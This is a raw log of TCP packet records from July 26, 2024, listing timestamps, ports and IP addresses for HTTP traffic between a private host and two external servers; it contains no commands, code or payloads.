Jul 26, 2024 13:49:26.146198034 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146209002 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146245956 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146256924 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146266937 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146279097 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146289110 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146298885 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146310091 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146435022 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146445990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146450996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146461964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146471977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146481037 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146492004 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146502018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146512985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146522045 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146533012 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146542072 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146550894 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146562099 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146572113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146583080 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.146593094 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.147542000 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.147552013 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.147562981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.147572041 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.147583008 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.147593021 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.147604942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.155658960 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.155955076 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.155955076 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.155983925 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.156008959 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.156060934 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.156060934 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.156084061 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.156112909 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.156160116 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.156224966 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.156254053 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.187632084 CEST	80	59046	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:26.187815905 CEST	59046	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:26.227915049 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.227947950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.227968931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.227984905 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.228008032 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.228104115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.228127003 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.228147984 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.228169918 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.228288889 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.228312969 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.228333950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.228354931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.228415012 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.228507996 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.228543997 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.228564978 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.228585958 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.228763103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.228784084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.228804111 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.228825092 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.228846073 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.228866100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.228893995 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.228899002 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.228991032 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.229159117 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.229180098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.229209900 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.229229927 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.229250908 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.229271889 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.229485989 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.229509115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.229530096 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.229551077 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.229562998 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.229572058 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.229600906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.229623079 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.229800940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.229823112 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.229928017 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.229949951 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.229950905 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.229985952 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.230062962 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.230083942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.230103970 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.230124950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.230151892 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.230179071 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.230410099 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.230480909 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.230501890 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.230521917 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.230541945 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.230546951 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.230561972 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.230572939 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.230582952 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.230602980 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.230609894 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.230623960 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.230623960 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.230637074 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.230644941 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.230664015 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.230665922 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.230685949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.231004000 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.231081963 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.231105089 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.231189966 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.231271029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.231293917 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.231364965 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.231385946 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.231405973 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.231426001 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.231446981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.231467962 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.231468916 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.231468916 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.231587887 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.231641054 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.231662035 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.231683016 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.231703043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.231723070 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.231744051 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.231976986 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.232074022 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.232095003 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.232115030 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.232135057 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.232155085 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.232175112 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.232196093 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.232302904 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.232384920 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.232404947 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.232433081 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.232454062 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.232474089 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.232641935 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.232698917 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.232726097 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.232738018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.232758045 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.232779026 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.232877016 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.233062983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.233083963 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.233103991 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.233124018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.233144999 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.233165026 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.233166933 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.233185053 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.233206034 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.233207941 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.233223915 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.233228922 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.233252048 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.233256102 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.233278990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.233283043 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.233449936 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.233728886 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.233750105 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.233769894 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.233792067 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.233813047 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.233834028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.233896017 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.233966112 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.233983994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.234004974 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.234025002 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.234045982 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.234065056 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.234086037 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.234106064 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.234265089 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.304436922 CEST	59046	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:26.304686069 CEST	59047	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:26.309726000 CEST	80	59047	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:26.310390949 CEST	59047	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:26.310424089 CEST	80	59046	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:26.312949896 CEST	59046	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:26.313025951 CEST	59047	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:26.315062046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.315169096 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.315181971 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.315299988 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.315311909 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.315323114 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.315439939 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.315452099 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.315531015 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.315541983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.315552950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.315562963 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.315573931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.315581083 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.315891981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.315906048 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316091061 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316102028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316107988 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316118956 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316131115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316268921 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316279888 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316291094 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316302061 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316313028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316323996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316524029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316534996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316546917 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316559076 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316570044 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316581011 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316591978 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316602945 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316616058 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316740036 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316796064 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316807985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316919088 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316931009 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316950083 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.316961050 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.317070961 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.317082882 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.317194939 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.317207098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.317218065 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.317229033 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.317240953 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.317500114 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.317511082 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.317521095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.317531109 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.317540884 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.317553043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.317563057 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.317573071 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.317830086 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.317917109 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.317965031 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.317969084 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.317969084 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.317991018 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.318015099 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.318041086 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318053007 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318136930 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318147898 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318159103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318330050 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318342924 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318355083 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318367958 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318464994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318476915 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318489075 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318497896 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318572998 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.318622112 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.318624020 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318635941 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318646908 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318658113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318669081 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318681002 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318694115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.318702936 CEST	80	59047	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:26.319385052 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.319628954 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.319642067 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.319653988 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.319664955 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.319703102 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.319715023 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.319725990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.319739103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.319919109 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.319931030 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.319942951 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.319953918 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.319966078 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.320106983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.320118904 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.320220947 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.320231915 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.320244074 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.320255041 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.320266962 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.320401907 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.320461988 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.320472956 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.320492983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.320503950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.320514917 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.320853949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.320890903 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.320904016 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.321088076 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.321099043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.321110964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.321120977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.321131945 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.321228027 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.321242094 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.321377993 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.321377993 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.321398020 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.403275967 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.403314114 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.403326035 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.403337955 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.403350115 CEST	80	59020	85.28.47.31	192.168.2.6
